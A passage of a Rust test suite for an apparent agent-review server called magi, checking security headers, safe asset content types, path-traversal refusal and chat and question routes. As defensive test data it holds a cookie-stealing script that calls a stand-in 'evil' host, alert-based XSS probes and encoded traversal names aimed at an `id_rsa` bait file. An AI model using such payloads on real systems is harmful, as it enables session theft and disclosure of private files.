3552        // Staged outside the questions root, because `put_panel` copies from
3553        // wherever the agent left its files.
3554        let staging = fx.home.path().join("staging");
3555        std::fs::create_dir_all(&staging).expect("staging dir");
3556        let sources: Vec<PathBuf> = assets
3557            .iter()
3558            .map(|(name, bytes)| {
3559                let path = staging.join(name);
3560                std::fs::write(&path, bytes).expect("write staged asset");
3561                path
3562            })
3563            .collect();
3564        store
3565            .put_panel(&mut q, html, &sources)
3566            .expect("write the panel");
3567        store.put(&mut q).expect("put question");
3568        q.id
3569    }
3570
3571    /// An interview on disk, without talking to a model.
3572    ///
3573    /// Written as JSON straight into the store the server reads, because the
3574    /// only constructor `chat` offers spawns an agent CLI. The one thing this
3575    /// cannot make up is the seat, so it is built with the real
3576    /// `SeatState::new` and serialized - the alternative, hand-writing that
3577    /// object, would make these tests fail the day the seat gains a field.
3578    fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3579        let store = fx.chats();
3580        std::fs::create_dir_all(store.root()).expect("chats dir");
3581        let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3582            .expect("serialize a seat");
3583        let body = serde_json::json!({
3584            "schema": 1,
3585            "id": id,
3586            "repo": "/repo/magi",
3587            "agent": "sonnet",
3588            "status": status,
3589            "turns": [
3590                { "who": "operator", "body": "rework the config loader",
3591                  "at": Timestamp::now().to_string() },
3592                { "who": "agent", "body": "Which part is hurting?",
3593                  "at": Timestamp::now().to_string() },
3594            ],
3595            "draft": draft,
3596            "task": Value::Null,
3597            "created_at": Timestamp::now().to_string(),
3598            "updated_at": Timestamp::now().to_string(),
3599            "seat": seat,
3600        });
3601        std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3602        // A chat the server cannot parse would make every assertion below a
3603        // 500 that says nothing about the route under test.
3604        store.get(id).expect("the seeded chat has to be readable");
3605        id.to_owned()
3606    }
3607
3608    /// A talk on disk, without talking to a model. Mirrors [`interview`] for
3609    /// `talk::Talk`.
3610    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
3611        let store = fx.talks();
3612        std::fs::create_dir_all(store.root()).expect("talks dir");
3613        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
3614            .expect("serialize a seat");
3615        let body = serde_json::json!({
3616            "schema": 1,
3617            "id": id,
3618            "repo": "/repo/magi",
3619            "agent": "mock",
3620            "status": status,
3621            "turns": [],
3622            "created_at": Timestamp::now().to_string(),
3623            "updated_at": Timestamp::now().to_string(),
3624            "seat": seat,
3625        });
3626        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
3627        store.get(id).expect("the seeded talk has to be readable");
3628        id.to_owned()
3629    }
3630
3631    /// A task file that satisfies `plan::review_draft`, so `POST /file` has
3632    /// something to accept.
3633    fn good_draft() -> String {
3634        "# Rework the config loader\n\n\
3635         ## Why\n\n\
3636         It re-reads `magi.toml` on every lookup, so a run that asks for the \
3637         roster four hundred times pays four hundred parses of the same file.\n\n\
3638         ## What\n\n\
3639         Load the layers once when the run starts and hand the merged value \
3640         around. Nothing about the file format changes.\n\n\
3641         ## Acceptance criteria\n\n\
3642         - `Config::discover` is called exactly once per run.\n\
3643         - `cargo test` passes with no change to any existing assertion.\n"
3644            .to_owned()
3645    }
3646
3647    #[tokio::test]
3648    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3649        let fx = Fixture::start().await;
3650        let id = panel(
3651            &fx,
3652            "<h1>Merge?</h1><img src=\"diff.svg\">",
3653            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3654        );
3655
3656        for path in [
3657            format!("/api/questions/{id}/panel"),
3658            format!("/api/questions/{id}/asset/diff.svg"),
3659        ] {
3660            let res = fx.get(&path).await;
3661            assert_eq!(res.status, 200, "{path}: {}", res.body);
3662            // The whole string, not a substring. A weakened directive - an
3663            // `img-src *` that lets a panel beacon out to a remote host, a
3664            // `script-src` anything, a missing `form-action` that lets it post
3665            // the owner's decision to a third party - has to fail here, and a
3666            // `contains` assertion would let every one of those through.
3667            assert_eq!(
3668                res.header("content-security-policy"),
3669                Some(
3670                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3671                     font-src data:; base-uri 'none'; form-action 'none'; \
3672                     frame-ancestors 'self'"
3673                ),
3674                "{path} is the only thing between a hostile panel and the tailnet"
3675            );
3676            assert_eq!(
3677                res.header("x-content-type-options"),
3678                Some("nosniff"),
3679                "{path}: a browser must not re-decide the type we sent"
3680            );
3681            assert_eq!(
3682                res.header("referrer-policy"),
3683                Some("no-referrer"),
3684                "{path}: a panel must not leak the question id off the machine"
3685            );
3686
3687            // The front end mounts the frame only after a `HEAD` says the
3688            // panel is there, so `HEAD` has to answer with the same status and
3689            // the same policy as `GET` - a preflight that came back without
3690            // the CSP would mean a frame mounted on an unverified promise.
3691            let pre = fx.head(&path).await;
3692            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3693            assert_eq!(
3694                pre.header("content-security-policy"),
3695                res.header("content-security-policy"),
3696                "{path}: the preflight carries the same policy"
3697            );
3698            assert_eq!(
3699                pre.header("content-type"),
3700                res.header("content-type"),
3701                "{path}: the preflight carries the same type"
3702            );
3703        }
3704    }
3705
3706    #[tokio::test]
3707    async fn a_panel_reaches_the_browser_byte_for_byte() {
3708        let fx = Fixture::start().await;
3709        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
3710        // tag, an entity, and a multi-byte character. The sandbox is what makes
3711        // this safe, so nothing here may be rewritten on the way out - a
3712        // rewritten diff is a diff the owner cannot trust.
3713        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
3714        let id = panel(&fx, html, &[]);
3715
3716        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3717
3718        assert_eq!(res.status, 200);
3719        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3720        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3721        assert_eq!(
3722            res.header("content-disposition"),
3723            None,
3724            "the panel itself is rendered in the frame, not downloaded"
3725        );
3726    }
3727
3728    #[tokio::test]
3729    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3730        let fx = Fixture::start().await;
3731        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3732        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3733        let id = panel(
3734            &fx,
3735            "<img src=\"diff.svg\"><img src=\"shot.png\">",
3736            &[("diff.svg", svg), ("shot.png", png)],
3737        );
3738
3739        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3740        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3741
3742        assert_eq!(as_svg.status, 200);
3743        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3744        // An SVG is XML that may carry script. Inside the panel it is an
3745        // `<img src>` and the script cannot run; opened at the top level it
3746        // would be a document on magi's own origin, so the browser is told to
3747        // download it instead of rendering it.
3748        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3749
3750        assert_eq!(as_png.status, 200);
3751        assert_eq!(as_png.header("content-type"), Some("image/png"));
3752        assert_eq!(
3753            as_png.header("content-disposition"),
3754            None,
3755            "a raster image has no execution surface, so tapping it still shows it"
3756        );
3757        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3758    }
3759
3760    #[tokio::test]
3761    async fn an_html_asset_is_never_served_as_html() {
3762        let fx = Fixture::start().await;
3763        let id = panel(
3764            &fx,
3765            "<p>see the notes</p>",
3766            &[
3767                (
3768                    "notes.html",
3769                    b"<script>fetch('http://evil/'+document.cookie)</script>",
3770                ),
3771                ("hook.js", b"fetch('http://evil/')"),
3772                ("data.json", b"{}"),
3773                ("HEADLINE.TXT", b"plain"),
3774            ],
3775        );
3776
3777        for name in ["notes.html", "hook.js", "data.json"] {
3778            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3779            assert_eq!(res.status, 200, "{name}: {}", res.body);
3780            // Serving this as text/html would be a way to reach agent markup
3781            // at the top level of the operator's browser, outside the frame's
3782            // sandbox and outside its CSP - which is the whole thing the panel
3783            // design exists to prevent. Unlisted types are downloads.
3784            assert_eq!(
3785                res.header("content-type"),
3786                Some("application/octet-stream"),
3787                "{name} must not be a type the browser will execute or render"
3788            );
3789        }
3790        // The whitelist is matched case-insensitively, so an agent shouting the
3791        // extension still gets a readable file rather than a download.
3792        let txt = fx
3793            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3794            .await;
3795        assert_eq!(
3796            txt.header("content-type"),
3797            Some("text/plain; charset=utf-8")
3798        );
3799    }
3800
3801    #[tokio::test]
3802    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3803        let fx = Fixture::start().await;
3804        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3805        // Something outside the panel directory that a traversal would reach if
3806        // one got through, so a passing test is not merely "the file was
3807        // missing anyway".
3808        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3809
3810        // Decoded before this server's handler sees them: axum percent-decodes
3811        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
3812        // string with a NUL in it. All three look like ordinary single-segment
3813        // filenames to the router, so the router passes them through and
3814        // `valid_asset_name` is what refuses them - for the literal `..`, and
3815        // for `/`, `\` and NUL not being in the permitted character set.
3816        for encoded in [
3817            "%2e%2e%2fid_rsa",
3818            "..%2fid_rsa",
3819            "..%5cid_rsa",
3820            "%2e%2e%5cid_rsa",
3821            "diff%00.svg",
3822            "..",
3823            ".hidden",
3824            "%2e%2e%2f%2e%2e%2fid_rsa",
3825        ] {
3826            let res = fx
3827                .get(&format!("/api/questions/{id}/asset/{encoded}"))
3828                .await;
3829            assert_eq!(
3830                res.status, 400,
3831                "`{encoded}` has to be refused by name, not looked up: {}",
3832                res.body
3833            );
3834            assert!(res.json()["error"].is_string(), "{}", res.body);
3835        }
3836
3837        // Not decoded, and never this handler's problem: a real slash makes the
3838        // request one segment too long for `/api/questions/{id}/asset/{name}`,
3839        // so axum's router has no route to match and answers before any code
3840        // here runs. Asserted so that a future route with a wildcard segment
3841        // cannot quietly open this door.
3842        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3843            let res = fx
3844                .get(&format!("/api/questions/{id}/asset/{literal}"))
3845                .await;
3846            assert_eq!(
3847                res.status, 404,
3848                "`{literal}` must not match the asset route at all: {}",
3849                res.body
3850            );
3851        }
3852    }
3853
3854    #[tokio::test]
3855    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3856        let fx = Fixture::start().await;
3857        let plain = ask(&fx, "Which backend?", &["SQLite"]);
3858        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3859
3860        // A question nobody wrote a panel for. The client preflights with HEAD
3861        // and cannot see inside a sandboxed frame, so this must be a status and
3862        // not an empty page.
3863        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3864        assert_eq!(none.status, 404, "{}", none.body);
3865        assert!(none.json()["error"].is_string(), "{}", none.body);
3866        assert_eq!(
3867            fx.head(&format!("/api/questions/{plain}/panel"))
3868                .await
3869                .status,
3870            404,
3871            "the preflight is the only way the client can learn this"
3872        );
3873
3874        // A name that is perfectly legal and simply is not there.
3875        let missing = fx
3876            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3877            .await;
3878        assert_eq!(missing.status, 404, "{}", missing.body);
3879        assert!(missing.json()["error"].is_string(), "{}", missing.body);
3880
3881        // A question that does not exist at all, on both routes.
3882        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3883        assert_eq!(
3884            fx.get("/api/questions/nope/asset/diff.svg").await.status,
3885            404
3886        );
3887    }
3888
3889    #[tokio::test]
3890    async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3891        let fx = Fixture::start().await;
3892        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3893
3894        interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3895        interview(&fx, "20260903-014456-open", "open", None);
3896
3897        let listed = fx.get("/api/chats").await;
3898        assert_eq!(listed.status, 200, "{}", listed.body);
3899        let chats = listed.json();
3900        assert_eq!(chats.as_array().map(Vec::len), Some(2));
3901        assert_eq!(
3902            chats[0]["id"], "20260903-014456-open",
3903            "an unfinished interview is what the operator came back for: {chats}"
3904        );
3905        assert_eq!(chats[0]["status"], "open");
3906        // The transcript is the only thing a chat is made of, so the list
3907        // carries it rather than making the phone fetch each one.
3908        assert_eq!(chats[0]["turns"][0]["who"], "operator");
3909        assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3910        assert_eq!(chats[1]["status"], "filed");
3911
3912        // The one number that says "you left an interview open"; a filed one
3913        // has become a task and must not keep counting.
3914        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3915    }
3916
3917    #[tokio::test]
3918    async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3919        let fx = Fixture::start().await;
3920        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3921
3922        let full = fx.get(&format!("/api/chats/{id}")).await;
3923        assert_eq!(full.status, 200, "{}", full.body);
3924        assert_eq!(full.json()["id"], id);
3925        assert_eq!(full.json()["repo"], "/repo/magi");
3926
3927        // The short id is what the operator reads off a notification.
3928        let short = fx.get("/api/chats/ab12").await;
3929        assert_eq!(short.status, 200, "{}", short.body);
3930        assert_eq!(short.json()["id"], id);
3931
3932        let missing = fx.get("/api/chats/nosuchchat").await;
3933        assert_eq!(missing.status, 404, "{}", missing.body);
3934        assert!(
3935            missing.json()["error"]
3936                .as_str()
3937                .is_some_and(|e| e.contains("chat")),
3938            "the error names what was not found: {}",
3939            missing.body
3940        );
3941    }
3942
3943    #[tokio::test]
3944    async fn filing_a_bad_draft_reports_every_problem_at_once() {
3945        let fx = Fixture::start().await;
3946        let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3947
3948        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3949
3950        assert_eq!(res.status, 400, "{}", res.body);
3951        let problems = res.json()["problems"].clone();
3952        let problems = problems.as_array().expect("an array of problems");
3953        // Every problem, not the first one. The operator is on a phone: a
3954        // draft with no title and no acceptance criteria is one edit, and
3955        // reporting it one problem per round trip means asking the interviewer
3956        // to rewrite it twice.
3957        assert!(
3958            problems.len() > 1,
3959            "one round trip has to be enough to fix the draft: {}",
3960            res.body
3961        );
3962        assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3963        assert!(res.json()["error"].is_string(), "{}", res.body);
3964        assert!(
3965            fx.queue().list().is_empty(),
3966            "a refused draft must not reach the queue"
3967        );
3968
3969        // An interview the agent has not drafted for at all is the same shape,
3970        // so the front end has one path rather than two.
3971        let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3972        let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3973        assert_eq!(res.status, 400, "{}", res.body);
3974        assert_eq!(
3975            res.json()["problems"].as_array().map(Vec::len),
3976            Some(1),
3977            "{}",
3978            res.body
3979        );
3980    }
3981
3982    #[tokio::test]
3983    async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3984        let fx = Fixture::start().await;
3985        let draft = good_draft();
3986        let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3987
3988        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3989
3990        assert_eq!(res.status, 200, "{}", res.body);
3991        let task = res.json()["task"]
3992            .as_str()
3993            .unwrap_or_else(|| panic!("a task id: {}", res.body))
3994            .to_owned();
3995
3996        // The point of the whole browser interview: a real task in the real
3997        // queue, indistinguishable from one filed at a terminal.
3998        let queued = fx.queue().get(&task).expect("the task is on disk");
3999        assert_eq!(
4000            queued.instruction, draft,
4001            "the draft reaches the graph verbatim"
4002        );
4003        assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
4004        assert_eq!(
4005            fx.get("/api/queue").await.json()[0]["id"],
4006            task,
4007            "the filed task is the listed one"
4008        );
4009
4010        // The interview is finished, so it stops asking to be finished.
4011        let after = fx.get(&format!("/api/chats/{id}")).await.json();
4012        assert_eq!(after["task"], task);
4013        assert_eq!(after["status"], "filed");
4014        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4015    }
4016
4017    #[tokio::test]
4018    async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
4019        let fx = Fixture::start().await;
4020        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4021        let ui = Ui::new(
4022            fx.queue(),
4023            fx.questions(),
4024            fx.chats(),
4025            fx.talks(),
4026            fx.runs(),
4027            fx.home.path().to_path_buf(),
4028            PathBuf::from("/repo/magi"),
4029        )
4030        .with_worktrees_root(fx.home.path().join("wt"));
4031
4032        // The claim a running `POST /say` holds. Taken directly rather than by
4033        // starting a turn, because a turn spawns an agent CLI and no test here
4034        // is allowed to do that.
4035        let first = ui.begin_turn(&id).expect("the first turn claims the chat");
4036        let second = ui.begin_turn(&id).expect_err("the second must be refused");
4037        assert_eq!(
4038            second.status,
4039            StatusCode::CONFLICT,
4040            "a double tap on a slow link must not append two half-turns"
4041        );
4042
4043        // Dropped rather than released by hand, which is what makes a cancelled
4044        // request - a phone that walked out of range mid-turn - leave the chat
4045        // usable instead of wedged until the server restarts.
4046        drop(first);
4047        assert!(
4048            ui.begin_turn(&id).is_ok(),
4049            "the slot has to come back on its own"
4050        );
4051    }
4052
4053    #[tokio::test]
4054    async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
4055        let fx = Fixture::start().await;
4056        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4057
4058        // Refused on the request, before the chat is even resolved, so an
4059        // accidental send costs neither a model call nor a turn in the record.
4060        for body in [r#"{"text":"   \n "}"#, r#"{}"#] {
4061            let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
4062            assert_eq!(res.status, 400, "{body}: {}", res.body);
4063        }
4064        let res = fx.post("/api/chats", Some(r#"{"idea":"  "}"#)).await;
4065        assert_eq!(res.status, 400, "{}", res.body);
4066
4067        assert_eq!(
4068            fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
4069                .as_array()
4070                .map(Vec::len),
4071            Some(2),
4072            "nothing above may have appended a turn"
4073        );
4074    }
4075
4076    #[tokio::test]
4077    async fn a_run_with_an_open_question_reads_as_waiting() {
4078        let fx = Fixture::start().await;
4079        let run = "20260902-000000-beef".to_owned();
4080        write_run(&fx.runs(), &run, RunStatus::Implementing);
4081
4082        let before = fx.get("/api/runs").await.json();
4083        assert_eq!(before[0]["waiting"], false, "{before}");
4084
4085        let store = fx.questions();
4086        let mut q = Question::new(
4087            run.clone(),
4088            "implement".to_owned(),
4089            "impl-A".to_owned(),
4090            "Which backend?".to_owned(),
4091            String::new(),
4092            vec!["SQLite".to_owned()],
4093        );
4094        store.put(&mut q).expect("put");
4095
4096        let during = fx.get("/api/runs").await.json();
4097        assert_eq!(during[0]["waiting"], true, "{during}");
4098
4099        // Answered: the run is moving again, and the flag has to follow without
4100        // anything having rewritten run.json.
4101        q.answer(Answer::Choice("SQLite".to_owned()))
4102            .expect("answer");
4103        store.put(&mut q).expect("put");
4104        let after = fx.get("/api/runs").await.json();
4105        assert_eq!(after[0]["waiting"], false, "{after}");
4106    }
4107
4108    #[tokio::test]
4109    async fn an_open_question_is_listed_and_counted_by_health() {
4110        let fx = Fixture::start().await;
4111        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4112
4113        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4114        let listed = fx.get("/api/questions").await.json();
4115        assert_eq!(listed.as_array().expect("array").len(), 1);
4116        assert_eq!(listed[0]["id"], id);
4117        assert_eq!(listed[0]["status"], "open");
4118        assert_eq!(listed[0]["choices"][1], "Redis");
4119        // The count is what makes the phone's indicator honest: it is the one
4120        // number meaning nothing will move until a human acts.
4121        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4122    }
4123
4124    #[tokio::test]
4125    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4126        let fx = Fixture::start().await;
4127        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4128        let path = format!("/api/questions/{id}/answer");
4129
4130        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4131        assert_eq!(res.status, 200, "{}", res.body);
4132        let body = res.json();
4133        assert_eq!(body["status"], "answered");
4134        assert_eq!(body["answer"]["choice"], "Redis");
4135
4136        // Answered from the terminal in between the list and the tap: the UI
4137        // must be able to tell this from a bad request, so it can show the
4138        // recorded answer instead of an error.
4139        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4140        assert_eq!(again.status, 409, "{}", again.body);
4141        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4142    }
4143
4144    #[tokio::test]
4145    async fn an_answer_the_question_does_not_offer_is_refused() {
4146        let fx = Fixture::start().await;
4147        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4148        let path = format!("/api/questions/{id}/answer");
4149
4150        for body in [
4151            r#"{"choice":"Postgres"}"#,
4152            r#"{"text":"whatever you think"}"#,
4153            r#"{"choice":"Redis","text":"both"}"#,
4154            r#"{}"#,
4155        ] {
4156            let res = fx.post(&path, Some(body)).await;
4157            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4158            assert!(res.json()["error"].is_string(), "{}", res.body);
4159        }
4160        // Nothing above may have answered it.
4161        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4162    }
4163
4164    #[tokio::test]
4165    async fn a_free_text_question_takes_text_and_not_a_choice() {
4166        let fx = Fixture::start().await;
4167        let id = ask(&fx, "What should the flag be called?", &[]);
4168        let path = format!("/api/questions/{id}/answer");
4169
4170        assert_eq!(
4171            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4172            400
4173        );
4174        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4175        assert_eq!(res.status, 200, "{}", res.body);
4176        assert_eq!(res.json()["answer"]["text"], "--json");
4177    }
4178
4179    #[tokio::test]
4180    async fn an_unknown_question_is_a_json_404() {
4181        let fx = Fixture::start().await;
4182        let res = fx
4183            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4184            .await;
4185        assert_eq!(res.status, 404, "{}", res.body);
4186        assert!(res.json()["error"].is_string());
4187    }
4188
4189    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
4190    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4191        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4192            .expect("checkout dir");
4193    }
4194
4195    #[tokio::test]
4196    async fn repos_list_returns_name_and_path_for_every_configured_root() {
4197        let tmp = TempDir::new().expect("tempdir");
4198        let repo = tmp.path().join("repo");
4199        std::fs::create_dir_all(&repo).expect("repo dir");
4200        let root = tmp.path().join("root");
4201        make_checkout(&root, "github.com", "yukimemi", "magi");
4202        std::fs::write(
4203            repo.join("magi.toml"),
4204            format!(
4205                "[repos]\nroots = [{:?}]\n",
4206                root.to_string_lossy().into_owned()
4207            ),
4208        )
4209        .expect("write magi.toml");
4210
4211        let f = Fixture::with_repo(repo).await;
4212        let res = f.get("/api/repos").await;
4213        assert_eq!(res.status, 200, "{}", res.body);
4214        let list = res.json();
4215        let repos = list.as_array().expect("an array");
4216        assert_eq!(repos.len(), 1);
4217        assert_eq!(repos[0]["name"], "yukimemi/magi");
4218        assert!(
4219            repos[0]["path"]
4220                .as_str()
4221                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4222            "{list}"
4223        );
4224    }
4225
4226    #[tokio::test]
4227    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4228        let tmp = TempDir::new().expect("tempdir");
4229        let repo = tmp.path().join("repo");
4230        std::fs::create_dir_all(&repo).expect("repo dir");
4231        let root = tmp.path().join("root");
4232        make_checkout(&root, "github.com", "yukimemi", "magi");
4233        std::fs::write(
4234            repo.join("magi.toml"),
4235            format!(
4236                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4237                root.to_string_lossy().into_owned()
4238            ),
4239        )
4240        .expect("write magi.toml");
4241
4242        let f = Fixture::with_repo(repo).await;
4243        let first = f.get("/api/repos").await;
4244        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4245
4246        // A second checkout appears; within the TTL the cached answer must
4247        // not notice it.
4248        make_checkout(&root, "github.com", "yukimemi", "rvpm");
4249        let second = f.get("/api/repos").await;
4250        assert_eq!(
4251            second.json().as_array().map(Vec::len),
4252            Some(1),
4253            "a fresh cache must not rescan inside the TTL"
4254        );
4255
4256        let refreshed = f.get("/api/repos?refresh=1").await;
4257        assert_eq!(
4258            refreshed.json().as_array().map(Vec::len),
4259            Some(2),
4260            "an explicit refresh must rescan even inside the TTL"
4261        );
4262    }
4263
4264    #[tokio::test]
4265    async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
4266        let f = Fixture::start().await;
4267        let res = f
4268            .post(
4269                "/api/chats",
4270                Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
4271            )
4272            .await;
4273        assert!(res.status >= 400 && res.status < 500, "{}", res.status);
4274        assert!(
4275            res.json()["error"]
4276                .as_str()
4277                .is_some_and(|e| e.contains("nosuchchat")),
4278            "the error names the id that does not exist: {}",
4279            res.body
4280        );
4281        assert!(
4282            f.chats().list().is_empty(),
4283            "a chat must not be created against an unresolvable `from`"
4284        );
4285    }
4286
4287    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
4288    /// string, declared straight in a repository's own `magi.toml` rather
4289    /// than the operator's real roster. No real agent CLI is spawned - `sh`
4290    /// is the interpreter, the same as `chat::tests::mock_agent` uses - so
4291    /// this is safe to run over a real HTTP round trip, unlike every other
4292    /// `POST /api/chats` test in this module.
4293    ///
4294    /// `[roles] planner` is pinned here too, and not left to the built-in
4295    /// "first runnable agent" fallback: an operator's own machine layer can
4296    /// (and, on at least one real machine this was written and tested on,
4297    /// does) already pin a `planner` naming a roster seat this file does not
4298    /// have. `roles.planner` is a scalar, so restating it in this
4299    /// higher-precedence repo layer is not the array conflict
4300    /// `config::array_keys` refuses - it is exactly the override the layering
4301    /// exists for, and it is what keeps this test's outcome independent of
4302    /// whatever the machine layer happens to say.
4303    const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4304
4305    #[tokio::test]
4306    async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
4307        let tmp = TempDir::new().expect("tempdir");
4308        let repo = tmp.path().join("repo");
4309        let other = tmp.path().join("other");
4310        std::fs::create_dir_all(&repo).expect("repo dir");
4311        std::fs::create_dir_all(&other).expect("other repo dir");
4312        // Both need their own roster: `chat_post` re-discovers config against
4313        // whichever repo the request names, and a repo with no `magi.toml` of
4314        // its own would fall back to the operator's real, installed agent CLIs.
4315        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4316        std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4317
4318        let f = Fixture::with_repo(repo.clone()).await;
4319
4320        let default_res = f
4321            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
4322            .await;
4323        assert_eq!(default_res.status, 201, "{}", default_res.body);
4324        assert_eq!(
4325            default_res.json()["repo"],
4326            repo.canonicalize().unwrap().display().to_string(),
4327            "omitting `repo` must keep the server's own"
4328        );
4329
4330        let body = format!(
4331            r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
4332            other.to_string_lossy()
4333        );
4334        let explicit_res = f.post("/api/chats", Some(&body)).await;
4335        assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
4336        assert_eq!(
4337            explicit_res.json()["repo"],
4338            other.canonicalize().unwrap().display().to_string(),
4339            "an explicit `repo` must override the server's own"
4340        );
4341    }
4342
4343    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
4344    /// real `Config::discover` to find an agent - `talk::begin` resolves one
4345    /// even though it takes no turn, and `talk_say` invokes one.
4346    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
4347        let tmp = TempDir::new().expect("tempdir");
4348        let repo = tmp.path().join("repo");
4349        std::fs::create_dir_all(&repo).expect("repo dir");
4350        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4351        let f = Fixture::with_repo(repo.clone()).await;
4352        (tmp, repo, f)
4353    }
4354
4355    #[tokio::test]
4356    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
4357        let (_tmp, _repo, f) = talk_fixture().await;
4358
4359        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
4360        // is the ordinary way a phone opens a talk.
4361        let opened = f.post("/api/talks", None).await;
4362        assert_eq!(opened.status, 201, "{}", opened.body);
4363        let body = opened.json();
4364        assert_eq!(body["status"], "open");
4365        assert_eq!(
4366            body["turns"].as_array().unwrap().len(),
4367            0,
4368            "opening takes no agent turn: there is nothing yet to answer"
4369        );
4370
4371        // An explicit empty object is the same request as none at all.
4372        let also_opened = f.post("/api/talks", Some("{}")).await;
4373        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
4374
4375        let listed = f.get("/api/talks").await.json();
4376        assert_eq!(listed.as_array().unwrap().len(), 2);
4377    }
4378
4379    #[tokio::test]
4380    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
4381        let f = Fixture::start().await;
